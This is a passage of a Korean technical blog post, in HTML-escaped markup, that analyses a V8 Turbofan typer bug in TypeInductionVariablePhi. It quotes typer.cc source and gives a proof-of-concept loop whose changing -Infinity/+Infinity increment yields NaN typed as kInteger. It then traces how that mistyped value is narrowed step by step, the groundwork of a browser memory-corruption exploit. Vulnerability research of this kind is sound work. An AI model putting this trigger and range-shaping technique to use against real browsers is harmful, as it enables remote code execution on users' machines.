#c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;IsNone&lt;/span&gt;())&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;max&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Max&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;break&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;double&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_max&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Max&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;kind&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;InductionVariable&lt;/span&gt;::&lt;span style=&quot;color: #4fc1ff;&quot;&gt;kStrict&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_max&lt;/span&gt;&amp;nbsp;-=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;max&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;std&lt;/span&gt;::&lt;span style=&quot;color: #dcdcaa;&quot;&gt;min&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;max&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_max&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;increment_max&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;The&amp;nbsp;upper&amp;nbsp;bound&amp;nbsp;must&amp;nbsp;be&amp;nbsp;at&amp;nbsp;least&amp;nbsp;the&amp;nbsp;initial&amp;nbsp;values&amp;nbsp;upper&amp;nbsp;bound.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;max&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;std&lt;/span&gt;::&lt;span style=&quot;color: #dcdcaa;&quot;&gt;max&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;max&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Max&lt;/span&gt;());&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;increment_max&lt;/span&gt;&amp;nbsp;&amp;lt;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;decreasing&amp;nbsp;sequence&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;max&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Max&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;auto&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound&lt;/span&gt;&amp;nbsp;:&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;induction_var&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;lower_bounds&lt;/span&gt;())&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Type&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_type&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;TypeOrNone&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;If&amp;nbsp;the&amp;nbsp;type&amp;nbsp;is&amp;nbsp;not&amp;nbsp;an&amp;nbsp;integer,&amp;nbsp;just&amp;nbsp;skip&amp;nbsp;the&amp;nbsp;bound.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Is&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;typer_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cache_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;kInteger&lt;/span&gt;))&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;continue&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;If&amp;nbsp;the&amp;nbsp;type&amp;nbsp;is&amp;nbsp;not&amp;nbsp;inhabited,&amp;nbsp;then&amp;nbsp;we&amp;nbsp;can&amp;nbsp;take&amp;nbsp;the&amp;nbsp;initial&amp;nbsp;value.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;IsNone&lt;/span&gt;())&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;min&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Min&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;break&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;double&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_min&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Min&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;kind&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;InductionVariable&lt;/span&gt;::&lt;span style=&quot;color: #4fc1ff;&quot;&gt;kStrict&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_min&lt;/span&gt;&amp;nbsp;+=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;min&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;std&lt;/span&gt;::&lt;span style=&quot;color: #dcdcaa;&quot;&gt;max&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;min&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bound_min&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;increment_min&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;The&amp;nbsp;lower&amp;nbsp;bound&amp;nbsp;must&amp;nbsp;be&amp;nbsp;at&amp;nbsp;most&amp;nbsp;the&amp;nbsp;initial&amp;nbsp;values&amp;nbsp;lower&amp;nbsp;bound.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;min&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;std&lt;/span&gt;::&lt;span style=&quot;color: #dcdcaa;&quot;&gt;min&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;min&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;initial_type&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Min&lt;/span&gt;());&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;Shortcut:&amp;nbsp;If&amp;nbsp;the&amp;nbsp;increment&amp;nbsp;can&amp;nbsp;be&amp;nbsp;both&amp;nbsp;positive&amp;nbsp;and&amp;nbsp;negative,&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;the&amp;nbsp;variable&amp;nbsp;can&amp;nbsp;go&amp;nbsp;arbitrarily&amp;nbsp;far,&amp;nbsp;so&amp;nbsp;just&amp;nbsp;return&amp;nbsp;integer.&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;typer_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cache_&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;kInteger&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;/src/compiler/typer.cc&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 &lt;code&gt;increment&lt;/code&gt; 가 양수와 음수 모두 될 가능성이 있다면 kInteger를 리턴하고, 그렇지 않으면 계산한 bound 를 사용해 Range를 리턴한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지 &lt;code&gt;TypeInductionVariablePhi&lt;/code&gt; 함수의 동작 과정을 살펴보았다. 다음으로 PoC에서 사용한 루프를 살펴보기로 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;&amp;nbsp;=&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Infinity&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;k&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;=&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;lt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;+=&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;nbsp;==&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Infinity&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;&amp;nbsp;=&amp;nbsp;+&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Infinity&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(++&lt;span style=&quot;color: #9cdcfe;&quot;&gt;k&lt;/span&gt;&amp;nbsp;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;10&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;break&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드를 Turbofan이 최적화할 때, &lt;code&gt;TypeInductionVariablePhi&lt;/code&gt; 이 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;initial 에 해당하는 값 0과 increment 에 해당하는 값 &lt;code&gt;x&lt;/code&gt; 가 -Infinity 이므로, &lt;code&gt;both_types_integer&lt;/code&gt; 는 true 값을 가진다. 0과 -Infinity를 더하면 -Infinity가 되기 때문에, &lt;code&gt;resultant_type는&lt;/code&gt; PlainNumber 가 되면서 &lt;code&gt;maybe_nan&lt;/code&gt; 은 false 값을 갖게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 루프 중간에서, &lt;code&gt;i&lt;/code&gt; 가 -Infinity 이면 &lt;code&gt;x&lt;/code&gt; 에 Infinity를 더하기 때문에 두 번째 루프를 돌고 나면 &lt;code&gt;x&lt;/code&gt; 는 NaN이 된다. 루프 내부에서 increment 가 바뀌는 경우를 고려하지 않았기 때문에, 실제 값은 NaN이지만 kInteger로 type confusion을 일으킬 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JIT로 PoC 코드의 function 함수가 컴파일되었을 때 &lt;code&gt;value&lt;/code&gt; 의 bound는 다음과 같이 변한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 5.81395%; padding: 6px 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; text-align: left; width: 94.186%;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;// i: kInteger &amp;gt; [-Infinity, Infinity]&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Math&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;max&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1024&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;[1024,&amp;nbsp;Infinity]&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;[-Infinity,&amp;nbsp;-1024]&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;Math&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;max&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;,&amp;nbsp;-&lt;span style=&quot;color: #b5cea8;&quot;&gt;1025&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;[-1025,&amp;nbsp;-1024]&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;=&amp;nbsp;-&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;[1024, 1025]&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;-=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1022&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;[2, 3]&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;&amp;gt;&amp;gt;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;1&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;value&lt;/span&gt;&amp;nbsp;+=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;10&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;11&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 연산 중간 단계마다 value 값을 출력해 보았다.&lt;/p&gt;
